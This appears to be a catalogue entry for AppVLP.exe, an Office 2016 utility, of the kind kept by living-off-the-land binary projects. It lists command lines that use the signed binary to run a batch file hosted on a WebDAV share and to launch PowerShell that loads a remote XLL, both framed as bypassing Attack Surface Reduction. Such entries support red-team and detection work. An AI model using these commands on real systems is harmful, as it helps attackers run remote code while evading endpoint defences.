.. / Appvlp.exe
Star

Application Virtualization Utility Included with Microsoft Office 2016


Paths:


Resources:
https://github.com/MoooKitty/Code-Execution
https://twitter.com/moo_hax/status/892388990686347264
https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/
https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/

Acknowledgement:
fab - @0rbz_
Will - @moo_hax
Matt Wilson - @enigma0x3


Detection:



Execute

Executes calc.bat through AppVLP.exe
AppVLP.exe \\webdav\calc.bat
Usecase:Execution of BAT file hosted on Webdav server.
Privileges required:User
OS:Windows 10 w/Office 2016
Mitre:T1218



Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)"
Usecase:Local execution of process bypassing Attack Surface Reduction (ASR).
Privileges required:User
OS:Windows 10 w/Office 2016
Mitre:T1218



Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
Usecase:Local execution of process bypassing Attack Surface Reduction (ASR).
Privileges required:User
OS:Windows 10 w/Office 2016
Mitre:T1218